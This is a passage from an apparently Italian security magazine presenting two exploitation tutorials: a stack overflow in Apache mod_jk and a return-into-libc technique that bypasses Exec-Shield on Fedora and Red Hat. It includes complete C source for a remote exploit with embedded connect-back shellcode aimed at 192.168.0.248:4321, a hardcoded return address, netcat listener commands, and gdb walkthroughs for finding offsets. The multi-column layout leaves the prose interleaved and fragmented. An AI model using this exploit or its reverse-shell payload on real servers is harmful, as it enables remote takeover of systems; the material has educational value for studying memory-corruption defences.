“0xbffff578” a cui vengono sottratti 1400 byte (cioè
esadecimale ad ASCII di questo valore è “IIII”,
esattamente le ultime quattro lettere contenute
all'interno dell'array di caratteri “crash” nel sorgente di
esempio mostrato in Tabella 1. Ciò oltre ad indicarci
che è effettivamente possibile sovrascrivere in modo
arbitrario l'indirizzo di ritorno della funzione
vulnerabile, indica allo stesso tempo quanti byte sono
necessari per giungere alla sua alterazione. Essendo
0x49494949 un indirizzo non valido (ovvero un
partendo da 0xbffff000):
(gdb) x/2000bx 0xbffff578-1400
0xbffff000: 0x41 0x41 0x41 0x41
0x41 0x41
0xbffff008: 0x41 0x41 0x41 0x41
0x41 0x41
0xbffff010: 0x41 0x41 0x41 0x41
0x41 0x41
[…]
0xbffff060: 0x41 0x41 0x41 0x41
0x41 0x41
0xbffff068: 0x41 0x41 0x41 0x41
0x41 0x41
0xbffff070: 0x41 0x41 0x41 0x41
0x41 0x41
0xbffff078: 0x41 0x41 0x41 0x41
0x41 0x41
[…]
indirizzo non allocato nello spazio di indirizzamento
dell'applicazione debuggata e quindi non accessibile
dal processore), l'esecuzione dell'istruzione
successiva al secondo breakpoint (ret) causerà il
crash del processo.
(gdb) c
Program received signal SIGSEGV,
Segmentation fault.
0x49494949 in ?? ()
(gdb) p $eip
$2 = (void *) 0x49494949
0x41 0x41
0x41 0x41
0x41 0x41
0x41 0x41
0x41 0x41
0x41 0x41
0x41 0x41
Come viene dettagliato nel sorgente crash.c
(Tabella 1), 0x41 è la rappresentazione esadecimale
del carattere “A” (proprio il punto in memoria che ci
interessa osservare). Quelli mostrati sono tutti indirizzi
utili, ma per il proseguo dell'articolo utilizzeremo quello
che è stato sottolineato nell'output mostrato sopra
(0xbffff060). Nel nostro exploit questo dovrà
sostituire l'indirizzo 0x49494949 puntato nel paragrafo
precedente dal registro EIP[15].
Fase 2: Determinare in quale area di memoria fare
puntare l'indirizzo di ritorno
Come ultimo step volto ad ottenere tutte le
informazioni utili per il completamento della prossima
ed ultima fase (ovvero quella di creazione dell'exploit
remoto) è necessario determinare a quale area di
memoria l'indirizzo di ritorno sovrascritto dovrà
puntare. Quella sarà la zona approssimativa in cui
cercheremo di collocare uno shellcode. Il punto più
logico è verso la seconda metà delle “A" che sono
state utilizzate per riempire gran parte dello spazio del
buffer “buf” nel sorgente mostrato in Tabella 1. Per
Fase 3: Scrivere l'exploit
Sostanzialmente sfruttare uno stack overflow si riduce
sempre a riempire opportunamente un buffer di dati da
inviare al server vulnerabile.
identificare quest'area è necessario analizzare la
memoria del processo debuggato a partire da un
indirizzo di ESP inferiore a quello trovato dopo
l'analisi svolta nel secondo breakpoint . Ciò è dovuto al
fatto che nella piattaforma hardware x86 lo stack
[15] Al contrario di ESP ed EBP descritti all'inizio dell'articolo,
abbiamo tardato di proposito prima di menzionare questo registro.
EIP punta sempre alla prossima istruzione che il processore dovrà
eseguire.
23
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Contrariamente però al sorgente di esempio
mostrato in Tabella 1, l'obiettivo questa volta non è
fare crashare il servizio, bensì ottenere una shell
remota. Solitamente (e questo caso conferma quella
che viene considerata una quasi regola) la
costruzione del buffer si sostanzia nel:
ricevere la shell ed in “Selected Encoder” selezionare
“Alpha2”[17], quindi premere sul pulsante “Generate
Payload” e sostituire il vecchio shellcode con il nuovo
nel codice riportato in Tabella 2. La compilazione del
sorgente è sempre la stessa:
$ gcc mod_jk_exploit.c –o mod_jk_exploit
1) riempire una parte cospicua con dei NOP[16]
(0x90);
Prima di lanciare l'exploit dovrete però aprire la porta
nella quale volete ricevere la shell. Una sessione di
netcat[18] sarà sufficiente (eseguite il programma come
utente root se intendete utilizzare una porta nel range
1-1024):
for(i = 0; i <= 3921; i++)
buf[i] = 0x90;
2) collocare in seguito lo shellcode;
$ nc –l porta
calc = 4127 - strlen(shellcode) - 4;
memcpy(buf+calc, shellcode,
sizeof(shellcode));
Da un altro prompt avviate quindi l'exploit:
$ ./mod_jk_exploit ip_del_web_server 80
3) successivamente inserire l'indirizzo di ritorno che
modificherà quello in origine posto nello stack
attraverso l'istruzione “call” dalla funzione che
Dalla finestra del netcat potete adesso interagire con il
prompt di shell del server vulnerabile:
ha chiamato quella vulnerabile.
id
uid=501(wwwsite) gid=501(wwwsite)
groups=501(wwwsite)
long ret = 0xbffff060;
[…]
memcpy(buf+4123, &ret, 4);
I sorgenti di esempio riportati in Tabella 1 ed
in Tabella2 possono essere prelevati dal sito
http://www.segfault.it/SS/001/vanillab0f/
mod_jk_exploit.tar.gz
Quando a seguito dell'overflow del buffer “url” il
return address verrà sovrascritto con 0xbffff060, il
registro EIP puntando a quell'indirizzo continuerà
l'esecuzione del processo dai NOP fino a giungere
allo shellcode che verrà a sua volta eseguito aprendo
una shell. In Tabella 2 riportiamo l'exploit per intero.
Lo shellcode utilizzato in questo caso è un connectback (non apre una porta in ascolto sul server
vulnerabile bensì si connette al sistema dal quale
l'exploit è stato lanciato e poi fornisce accesso al
prompt dei comandi). Per eseguire i vostri test
dovrete sostituire questo shellcode con uno
personalizzato. E' sufficiente collegarsi al sito
http://metasploit.com:55555/PAYLOADS,
[16] No Operation: forza il processore ad eseguire l'istruzione
successiva in memoria. La presenza dei NOP aumenta le
probabilità di successo di un exploit, in quanto presuppone che non
sia necessario conoscere l'esatto punto in memoria in cui sarà
collocato uno shellcode.
[17] Un classico shellcode non funzionerebbe in quanto molti dei
caratteri di cui è composto verrebbero filtrati da Apache,
precludendo la corretta riuscita dell'attacco.
indicare in “ADDR” l'indirizzo IP dal quale intendete
lanciare l'exploit, in “PORT” la porta nella quale volete
[18] http://www.vulnwatch.org/netcat/
24
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
TABELLA 1: crash.c
/* crash.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
int main(int argc, char *argv[])
{
/*
32 byte
*/
char crash [] = "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII";
/*
descrittori, variabili e strutture utilizzate dal programma
*/
int fd, i = 0;
struct sockaddr_in xab;
/*
"buf": buffer che conterrà l'URI della richiesta HTTP
"request": variabile che conterrà l'intera richiesta
HTTP comprensiva di URI
*/
char buf[5000], request[8000];
/*
Se non vengono passati due parametri al programma, mostra
la sintassi di utilizzo ed esci
*/
if (argc != 3)
{
printf("%s: ip port\r\n", argv[0]);
exit(0);
}
/*
Si crea un socket TCP per connettersi al web server
*/
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
{
printf("socket: %s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
/*
Si azzerano strutture e buffer prima dell'utilizzo
*/
memset(&buf, 0, sizeof(buf));
memset(&request, 0, sizeof(request));
memset(&xab, 0, sizeof(xab));
/*
25
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
si definiscono famiglia, porta ed indirizzo al quale ci si
connetterà attraverso questo socket
*/
xab.sin_family = AF_INET;
xab.sin_port = htons(atoi(argv[2]));
xab.sin_addr.s_addr = inet_addr(argv[1]);
/*
buf viene riempito di "A" (0x41) per 4095 byte
*/
for(i = 0; i <= 4094 ; i++)
buf[i] = 0x41;
/*
in seguito viene copiato all'interno di "buf" il contenuto di "crash"
generando un URI del tipo:
AAAAAAAA[x4095]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
*/
memcpy(buf+4095, crash, sizeof(crash));
/*
Viene creata una richiesta HTTP del tipo:
GET /[URI] HTTP/1.0
*/
sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf);
printf("Invio: \r\n%s\r\n", request);
/*
Ci si connette al web server
*/
i = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
if (i == -1)
{
printf("connect: %s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
/* Si invia la richiesta HTTP al web server */
send(fd, request, strlen(request), 0);
/*
Si chiude la comunicazione con il web server
*/
close(fd);
}
TABELLA 2: mod_jk_exploit.c
/* mod_jk_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
26
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
#include <errno.h>
#include <string.h>
#include <strings.h>
int main(int argc, char *argv[])
{
/*
Connect-Back Shellcode
Sostituiscilo generandone uno personale visitando il sito
http://metasploit.com:55555/PAYLOADS
Questo shellcode fa una reverse connect all'indirizzo
192.168.0.248 sulla porta 4321
*/
char shellcode [] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x49"
"\x58\x50\x30\x42\x31\x42\x41\x6b\x42\x41\x59\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x58\x50\x42\x38\x42\x42\x75\x38\x69\x70\x31\x6b"
"\x6b\x62\x73\x62\x63\x71\x43\x61\x7a\x63\x32\x53\x5a\x45\x36\x52"
"\x78\x4f\x79\x6d\x31\x7a\x6d\x4d\x50\x6e\x73\x42\x79\x6c\x70\x45"
"\x6f\x6a\x6d\x6f\x70\x73\x79\x62\x59\x58\x79\x41\x4b\x51\x4a\x41"
"\x78\x4b\x70\x4f\x58\x65\x50\x4b\x4e\x31\x76\x30\x68\x76\x70\x68"
"\x61\x71\x53\x42\x46\x70\x53\x6f\x79\x69\x71\x6e\x50\x51\x76\x66"
"\x30\x33\x61\x31\x43\x6b\x39\x6d\x31\x73\x73\x38\x4d\x4f\x70\x63"
"\x62\x43\x58\x36\x4f\x36\x4f\x50\x73\x75\x38\x42\x48\x66\x4f\x52"
"\x42\x71\x79\x50\x6e\x4d\x59\x4b\x53\x43\x62\x36\x33\x4d\x59\x6d"
"\x31\x6e\x50\x76\x6b\x7a\x6d\x4b\x30\x49";
int fd, i = 0;
int calc;
struct sockaddr_in xab;
char buf[4128], request[8000];
/*
Puntatore ai NOP che precedono lo shellcode in memoria.
L'indirizzo è stato testato sia su Red Hat 7.2
che su Debian 3.0/3.1/4.0
*/
long ret = 0xbffff060;
if (argc != 3)
{
printf("%s: ip port\r\n", argv[0]);
exit(0);
}
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
memset(&buf, 0, sizeof(buf));
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(atoi(argv[2]));
xab.sin_addr.s_addr = inet_addr(argv[1]);
27
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
/*
Riempiamo buf per 3922 byte di NOP
*/
for(i = 0; i <= 3921; i++)
buf[i] = 0x90;
/*
Calcoliamo da quale posizione all'interno di buf parte
la copia dello shellcode, ovvero da:
4127 byte (dimensione totale dell'URI senza lo "/")
- dimensione dello shellcode (202 byte)
- 4 byte di return address
= 3921
*/
calc = 4127 - strlen(shellcode) - 4;
memcpy(buf+calc, shellcode, sizeof(shellcode));
/*
Collochiamo alla fine di "buf" il valore che sovrascriverà
il return address della funzione vulnerabile
*/
memcpy(buf+4123, &ret, 4);
sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf);
printf("[*] Connect to remote host...\r\n");
i = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
if (i == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("[*] Send data to remote host...\r\n");
send(fd, request, strlen(request), 0);
sleep(1);
printf("[*] Done...checks for shell\r\n");
close(fd);
}
28
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
Execute della tabella di paging dei sistemi x86-64.
Non possiamo utilizzare più i tradizionali shellcode?
Benissimo…rifugiamoci allora nelle più complesse e
mai tramontate tecniche return-into-libc.
Impossibile…su Fedora gli indirizzi delle librerie di
sistema sono collocati sotto i 16 MB e sono tutti quanti
costituiti da un NULL byte iniziale (ad esempio
0x004abd55), circostanza che rende inutile nella
Introduzione
uando nella primavera del 2003 venne
rilasciata la Red Hat 9.0 ed annunciato che
sarebbe stata l'ultima distribuzione della
serie liberamente scaricabile dalla rete, molti utenti
(tra cui il sottoscritto) avvertirono un leggero ma
fastidioso tonfo al cuore. Per gli hacker di metà/fine
anni 90, le diverse versioni del sistema operativo
sviluppate dalla compagnia con il simbolo del cappello
rosso hanno significato molto. Chi ha infatti
cominciato a smanettare in quel periodo ben si ricorda
gli exploit rilasciati dal teso-team[1] per i demoni wuftpd, rpc.statd, lpd ed i target principali a cui essi
miravano (appunto Red Hat 6.0, 6.1, 6.2 e 7.0,
distribuzioni con le quali era al tempo abbastanza
comune imbattersi mentre si smanettava in rete). Poi
arrivò Fedora[2] e ben presto si capì che Red Hat
avrebbe utilizzato il progetto come banco di prova per
testare nuove funzionalità da portare in seguito sui
rilasci stabili delle edizioni commerciali dei suoi
prodotti. Fedora oggi è quindi divenuta la distribuzione
di riferimento per chi un tempo usava ed apprezzava
gratuitamente Red Hat Linux. Sono passati però
quasi nove anni dalla storica vulnerabilità della
versione 2.6.0(1) del wu-ftpd o dalle versioni buggate
di rpc.statd ed il panorama della sicurezza informatica
è cambiato sensibilmente da allora, soprattutto con
l'avvento delle nuove tecnologie che sin dall'inizio
hanno promesso di rendere “vicino all'impossibile” lo
sfruttamento delle comuni falle software come gli
stack overflow.
Q
maggior parte dei casi lo sfruttamento di un attacco di
tipo return-into-libc (Ndr. almeno nelle modalità
tradizionali). No, nemmeno linux-gate.so.1 (che ha
fatto la felicità di moltissimi utenti/smanettoni di
Slackware ed Ubuntu) può esserci utile in questo
caso, anche a causa delle proprietà di
randomizzazione (ASLR) che riguardano tanto lo
spazio di indirizzamento virtuale dei processi, quanto
il Virtual DSO[3], proprietà che rende impossibile
predire con esattezza dove funzioni o istruzioni di
interesse verranno collocate in memoria. Queste ed
una serie di altre difficoltà hanno così spinto alcuni
personaggi della rete a definire Fedora “la bestia nera
degli hacker” ed Exec-Shield “il mostro“ o “la cosa“,
termini di comune richiamo cinematografico utilizzati
proprio per cercare di rendere l'idea del livello di
complessità aggiunto al corretto exploiting di un
comune buffer overflow.
Effettivamente l'introduzione delle moderne misure di
protezione ha portato innumerevoli grattacapi a chi
fino a poco tempo prima era abituato a sfruttare nelle
modalità tradizionali un “comune” e per certi versi
“banale” stack overflow. Fedora è proprio una di quelle
distribuzioni hardenizzate al midollo, distribuzione che
soprattutto a partire dalla versione Core 5 ha fiaccato
gli animi di moltissimi hacker (o sedicenti tali) facendo
apparire anche lo sfruttamento di un banale stack
overflow, un'impresa da titano. Primo imputato in aula
per questo panico generale, Exec-Shield, la
tecnologia che simula a livello software il bit No-
[1] Celebre hacker crew che ha operato fra il 1998 ed il 2004.
[2] http://fedoraproject.org/: Progetto open source sponsorizzato
ma non direttamente sostenuto da Red Hat. E' sostanzialmente
una distribuzione Linux client/server side fedele nelle funzionalità
alle edizioni commerciali di Red Hat Enterprise Linux.
[3] Oggetto condiviso esposto dal kernel per implementare le
virtual syscall. Consiste in una pagina di memoria mappata nello
spazio di indirizzamento virtuale di ogni processo e collocata
spesso ad un indirizzo fisso, nella maggior parte dei casi anche
quando /proc/sys/kernel/randomize_va_space risulta
essere attivo (ovvero impostato ad 1).
29
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
disassemblare do_it() ed inserire un punto di arresto
Exec-Shield un po' più da vicino…
un attimo prima che la funzione ritorni. Dopo abbiamo
avviato server_vuln con il comando “run” del gdb.
Leggendo fin qui verrebbe da asserire che bypassare
Exec Shield sia praticamente impossibile. Niente di più
sbagliato! Attualmente esistono almeno due/tre metodi
noti per farlo, ognuno con i suoi pro ed i suoi contro ed
ognuno sfruttabile a seconda di precise circostanze
che si devono verificare durante la fase di exploiting o
che dipendono dal modo in cui l'applicazione
vulnerabile è stata scritta. Oggi descriveremo in
dettaglio uno di questi tre metodi partendo dal codice
fallato di esempio riportato in Tabella 1. Si tratta di un
semplice servizio che si mette in ascolto sulla porta
TCP 60000, prende via socket una stringa inviata
dall'utente, la ristampa a video e chiude la
connessione. La parte più interessante è costituita
dalla funzione do_it() e precisamente dalla
Poiché l'unica variabile allocata all'inizio nello stack
frame della funzione do_it() è request, dovrebbero
essere sufficienti 264 byte per riuscire a manipolare
arbitrariamente EIP (256 byte per il sovrascrivere il
buffer, 4 byte per sovrascrivere il Frame Pointer ed
altri 4 byte per sovrascrivere l'Instruction Pointer).
Proviamo quindi da un prompt dei comandi differente a
vedere cosa succede inviando 264 'A' al servizio:
# telnet attack_machine 60000
Trying xxx.xxx.xxx.xxx...
Connected to attack_machine.
Escape character is '^]'.
AAAAAAAAAAAAAAAAAAAAAAAAAA[…]
strcpy() che cerca di copiare la stringa ricevuta
Completato questo task il debugger si arresta al
breakpoint dichiarato. Uno sguardo all'attuale
conformazione dello stack ci rivela che l'arrary
request è stato correttamente sovrascritto così come
dall'utente all'interno di request, un array di caratteri
della dimensione di 256 byte. Tuttavia dal main() è
possibile notare che la richiesta dell'utente letta
attraverso read() viene scritta in mex (un char array di
l'indirizzo del Frame Pointer e dell'Instruction Pointer:
1024 byte) prima di essere trasferita alla funzione
handle() e quindi a do_it(). Ciò significa che l'utente
Breakpoint 1, 0x080488dd in do_it ()
(gdb) p $esp
$1 = (void *) 0xbfc341ec
(gdb) x/4bx 0xbfc341ec
0xbfc341ec: 0x41 0x41 0x41 0x41
può inviare più di 256 byte di dati e causare così uno
stack overflow.
Osserviamo più da vicino cosa accade quando il
sorgente di esempio della Tabella 1 viene compilato ed
eseguito su Fedora Core 7. Per capire meglio quali
difficoltà Exec-Shield antepone all'esecuzione di
codice remoto avviamo una sessione di debugging con
gdb:
Infatti L'Instruction Pointer punta a 0x41414141 (le
ultime quattro A inviate al servizio). Continuando
l'esecuzione dell'applicazione da questo punto,
l'istruzione “ret” dovrebbe prelevare dallo stack
l'indirizzo sovrascritto e causare un Segmentation
Fault (0x41414141 è relativo ad un'area di memoria
# gcc server_vuln.c –o server_vuln
# gdb ./server_vuln
(gdb) disas do_it
Dump of assembler code for function do_it:
[…]
0x080488dd <do_it+86>: ret
End of assembler dump.
(gdb) break *0x080488dd
Breakpoint 1 at 0x80488dd
(gdb) run
inesistente). Ma vediamo cosa accade in realtà:
(gdb) c
Continuing.
Program received signal SIGSEGV,
Segmentation fault.
0x080488dd in do_it ()
(gdb) p $eip
$2 = (void (*)()) 0x80488dd <do_it+86>
Ciò che abbiamo fatto qui è stato semplicemente
30
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
effettivamente possibile. Tra lo stack frame della
funzione vulnerabile e quello della funzione chiamante
o delle funzioni ancora antecedenti, deve essere
dichiarato da qualche parte (attenzione non
immediatamente prima dello stack frame della
funzione vulnerabile ma una manciata di byte più in
là che quantificheremo meglio dopo) un puntatore al
buffer che viene sovrascritto.
Dal debugger apprendiamo che dopo il crash
dell'applicazione, il registro EIP non punta
direttamente a 0x41414141, bensì all'indirizzo
0x80488dd che nel listato assembly visualizzato in
precedenza corrisponde proprio all'istruzione “ret” in
do_it(). In parole povere Exec-Shield ha fatto il suo
dovere e non ha permesso che il registro EIP venisse
manipolato a piacimento dall'attacker ed utilizzato per
puntare ad un eventuale shellcode nello Stack.
La teoria dietro l'attacco
Bye Bye Stack Memory
In realtà non abbiamo ancora risposto
esaurientemente alla domanda posta poco prima:
come fare a collocare uno shellcode al di fuori dello
Stack? La tecnica che ci accingiamo a spiegare (per il
momento in modo teorico e solo successivamente sul
pratico) non è in realtà nuova ma è un riadattamento di
quanto descritto da Nergal nel numero 58 di Phrack[4].
Essa dimostra che gli attacchi basati su shellcode sono
ancora possibili su distribuzioni come Fedora pur la
presenza di misure di protezione complesse come
Exec-Shield. Questa tecnica funziona con minime
modifiche sia su Fedora che su Red Hat Enterprise e
CentOS[5]. I test dai noi condotti sono stati comunque
svolti su Fedora Core 6 e la più recente edizione Core
7.
L'ultima frase del paragrafo precedente è vitale per
comprendere la tecnica che ci stiamo accingendo a
descrivere e merita pertanto di essere riletta con
attenzione. Non possiamo posizionare uno shellcode
nello stack non significa però che non possiamo
collocarlo in un'area di memoria differente,
possibilmente dotata di permessi in scrittura ed
esecuzione:
# ps –wuax | grep server_vuln
root 2374 0.0 0.1 1588 332 pts/0 T
19:29 0:00 /usr/local/test/server_vuln
# cat /proc/2374/maps
[…]
004bd000-004be000 rwxp 0001b000 fd:00
2258040 /lib/ld-2.6.so
[…]
00610000-00611000 rwxp 00150000 fd:00
2258041 /lib/libc-2.6.so
[…]
Per collocare uno shellcode in una zona di memoria
residente all'esterno dello Stack, accessibile sia in
scrittura che in esecuzione, possiamo avvalerci di un
attacco avanzato del tipo return-into-libc utilizzando la
funzione di sistema strcpy(). L'attacco è riassumibile
in quattro semplici punti:
Osservando lo stato della memoria dell'applicazione
vulnerabile di esempio, quest'area potrebbe benissimo
essere un qualsiasi punto nel range di indirizzi di ld2.6.so o libc-2.6.so. Entrambi queste due librerie
linkate dinamicamente a server_vuln possono infatti
essere utilizzate per scrivere istruzioni che verranno
interpretate come eseguibili dal processore (notare i
permessi assegnati rwxp). La domanda a questo punto
[4] http://www.phrack.org/archives/58/p58-0x04: The advanced
return-into-lib(c) exploits.
è: come fare a scrivere uno shellcode in un indirizzo
residente all'esterno dello Stack? Si deve verificare
un'unica condizione vitale affinché ciò possa essere
[5] http://www.centos.org/: distribuzione derivata da Red Hat
Enterprise Linux e gratuitamente scaricabile.
31
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
Dopo aver saturato il buffer non controllato
dell’applicazione di esempio:
I vantaggi del riadattamento della tecnica
di Nergal
1) L'indirizzo di ritorno della funzione vulnerabile
(ovvero nel nostro caso do_it()) viene alterato
Questa tecnica (che ci accingiamo a sfruttare sul
pratico) permette di rendere nulle alcune misure di
protezione implementate su Red Hat Linux e le
distribuzioni derivate (Fedora e CentOS). Più
precisamente di:
con l'indirizzo in memoria in cui si trova
un'istruzione “ret”. Nella maggior parte delle
circostanze queste istruzioni necessitano di
essere concatenate una di seguito all'altra (riferirsi
a tal proposito alla Figura 1) in modo da allineare il
puntatore allo shellcode e renderlo il secondo
parametro della strcpy() invocata al punto 2.
-
bypassare Exec-Shield: possiamo eseguire del
codice da remoto attraverso shellcode.
-
bypassare i meccanismi di Address Space
Layout Randomization: non abbiamo bisogno di
conoscere con esattezza l'indirizzo nello stack in
cui si trova lo shellcode, basta semplicemente
sapere la distanza quantificata a gruppi di 4 byte
che intercorre tra l'indirizzo di ritorno sovrascritto
della funzione vulnerabile ed il puntatore allo
shellcode dichiarato più in là nello stack (vi
ricordate la condizione vitale che si doveva
verificare e che abbiamo citato un paio di paragrafi
addietro?).
-
evitare di utilizzare funzioni di sistema
collocate sotto i 16 MB: in effetti viene utilizzato
l'indirizzo PLT di strcpy() che è dichiarato
2) A seguire viene collocato l'indirizzo PLT[6] della
funzione strcpy().
3) Successivamente viene collocato di nuovo
l'indirizzo in memoria in cui si trova un'istruzione
“ret”. Operando in questo modo al ritorno da
strcpy() il flusso di esecuzione del programma
proseguirà dall'indirizzo della libreria dichiarato al
punto 4, eseguendo effettivamente lo shellcode.
4) Infine viene posto nello Stack l'indirizzo di una
qualsiasi area di memoria marcata come
accessibile in scrittura ed esecuzione (fare
riferimento al paragrafo precedente per capire
come identificarla).
sempre in un punto fisso del file binario e non
l'indirizzo nella libreria di sistema che contiene un
NULL byte. Ciò rende ancora possibile usufruire a
piacimento di tecniche return-into-libc[7].
L'effetto prodotto alla fine sarà che il contenuto
dell'area di memoria puntata nello step 1 (dove
risiederà lo shellcode) verrà copiato all'indirizzo
specificato nel punto 4. Successivamente questo
verrà invocato per mezzo del ret dichiarato al punto 3.
[6] Procedure Linkage Table: E' una tabella che i file in formato
ELF utilizzano per il linking dinamico, ovvero per consentire alle
applicazioni di accedere a runtime alle funzioni contenute in una
libreria di sistema (ad esempio libc). All'esecuzione del
programma, durante la chiamata ad una funzione contenuta in una
libreria di sistema, viene invocata con un'istruzione “call” la
Trattandosi di una zona marcata come eseguibile, le
istruzioni qui residenti verranno interpretate come
codice ed opportunamente eseguite dal processore.
Complimenti…avete eseguito una shell!
relativa entry PLT che a sua volta salta ad un indirizzo nella Global
Offset Table (GOT) che punta al vero codice della funzione.
Tecnica avanzata Return-Into-Libc
RET
RET
RET
...
strcpy() PLT
RET
RWX Library
Address
[7] Se la vulnerabilità applicativa che si sta cercando di sfruttare
deriva da una delle funzioni C di gestione delle stringhe come
strcpy(), la presenza di un NULL byte nel buffer sovrascritto
Shellcode
Pointer
Figura 1: Collocazione nello stack degli elementi utili ad eseguire uno
shellcode in presenza di Exec-Shield
32
determinerà l'interruzione immediata della copia dei dati,
risultando in un attacco incompleto e quindi non funzionante.
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
Bene. Adesso è arrivato il momento di mettere in
pratica quanto sinora scritto solo in modo teorico.
Come al solito la creazione di un exploit funzionante
richiederà la raccolta di alcune informazioni
preventive. Procediamo quindi.
0x41 0x41
[…]
0xbfe41540: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
L'indirizzo 0xbfe41440 punta infatti al buffer di “A”
inviato dall'utente. Esattamente la condizione che ci
serve per bypassare Exec-Shield. Lo scopo è quindi
quello di costruire opportunamente i contenuti che
fanno seguito al buffer saturato in modo da allineare
nello stack gli argomenti richiesti dalla strcpy(). Uno
Fase 1: Trovare l'offset del puntatore allo
shellcode
Come già detto la condizione primaria all'exploiting
della vulnerabilità del sorgente mostrato in Tabella 1 è
che nello Stack deve risiedere, ad una sufficiente
distanza dal frame della funzione vulnerabile, un
puntatore che punti al buffer sovrascritto. Cerchiamo di
capire se questo è il nostro caso. Riavviamo la stessa
sessione di debugging ed inseriamo lo stesso
breakpoint come già spiegato nel paragrafo “ExecShield un po' più da vicino” a pagina 30. Sempre
come riportato in quel paragrafo, colleghiamoci al
servizio ed inviamo 264 byte di dati. Al manifestarsi del
breakpoint analizziamo il contenuto dello Stack a
partire dall'attuale indirizzo puntato da ESP:
(gdb) x/100bx $esp
0xbfe413fc: 0x41 0x41
0x0d 0x0a
0xbfe41404: 0x70 0x44
0xf4 0xff
0xbfe4140c: 0x20 0x14
0xd0 0x13
0xbfe41414: 0xf3 0x13
0x78 0x18
0xbfe4141c: 0x20 0x88
0x40 0x14
[…]
0x41
0x00
0x4b
0x60
0xe4
0x58
0x58
0xe4
0x04
0xe4
di questi è proprio il puntatore in memoria in cui risiede
lo shellcode!
Fase 2: Trovare l'indirizzo di un'istruzione
ret
L'indirizzo di un'istruzione “ret” ci serve per allineare
nello stack gli argomenti che verranno passati alla
strcpy(), fungendo null'altro che da padding:
(gdb) disas do_it
[…]
0x080488dd <do_it+86>:
0x41
0xbf
0x00
0x00
0xbf
0x00
0x00
0xbf
0x08
0xbf
ret
Per lo scopo possiamo benissimo utilizzare
“0x080488dd” ma in linea di massima qualsiasi altro
punto nel binario contenente questa istruzione andrà
bene.
Fase 3: Trovare l'indirizzo PLT di strcpy()
Trovare l'indirizzo PLT di strpcy() è altrettanto
semplice. Sempre disassemblando la funzione
do_it() da gdb si deve identificare l'apposita
L'output è stato suddiviso a blocchi di 4 byte per
maggiore comprensione. Il primo indirizzo
( 0x41414141 ) corrisponde al return address
istruzione “call”:
[…]
0x080488c1 <do_it+58>:
<strcpy@plt>
[…]
sovrascritto. 9 indirizzi più avanti troviamo proprio ciò
che stavamo cercando:
(gdb) x/264bx 0xbfe41440
0xbfe41440: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
0xbfe41448: 0x41 0x41 0x41 0x41 0x41 0x41
call
0x8048518
Nel nostro esempio “0x8048518” è l'indirizzo che ci
serve.
33
look at
BYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
LINUX
Fase 4: Identificare un'area in memoria
accessibile in scrittura ed esecuzione
Qui basta semplicemente individuare il pid del servizio
vulnerabile ed analizzare il filesystem /proc. Un
esempio di questo tipo lo abbiamo già mostrato nel
paragrafo “Bye Bye Stack Memory” a pagina 31.
Approfittando di quell'output possiamo scegliere un
qualsiasi indirizzo compreso fra 0x004bd000 e
0x004be000 oppure fra 0x00610000 e 0x00611000.
Nel nostro caso la scelta è caduta su 0x004bd055.
spazzatura) per raggiungere i 260 byte (ovvero per
arrivare a sovrascrivere il Frame Pointer della funzione
vulnerabile):
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAA"
Successivamente dovranno essere concatenate sei
istruzioni “ret”:
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
Ultimo step: Creare l'exploit
Osserviamo per un momento ancora il contenuto dello
Stack così come mostrato con il gdb durante la Fase 1,
ovvero poco prima che l'overflow si manifestasse.
Mettendo in conto lo stesso return address sovrascritto,
sappiamo che da esso al puntatore del buffer utente ci
stanno in mezzo 9 indirizzi. Ciò sarà sempre vero. Ad
ogni nuova esecuzione dell'applicazione potrà variare
l'indirizzo base dello Stack Pointer per le proprietà
ASLR del sistema operativo, ma la distanza degli
argomenti rimarrà sempre la stessa. Per avere un
allineamento come quello della Figura 1, la stringa
inviata al servizio vulnerabile dal nostro exploit
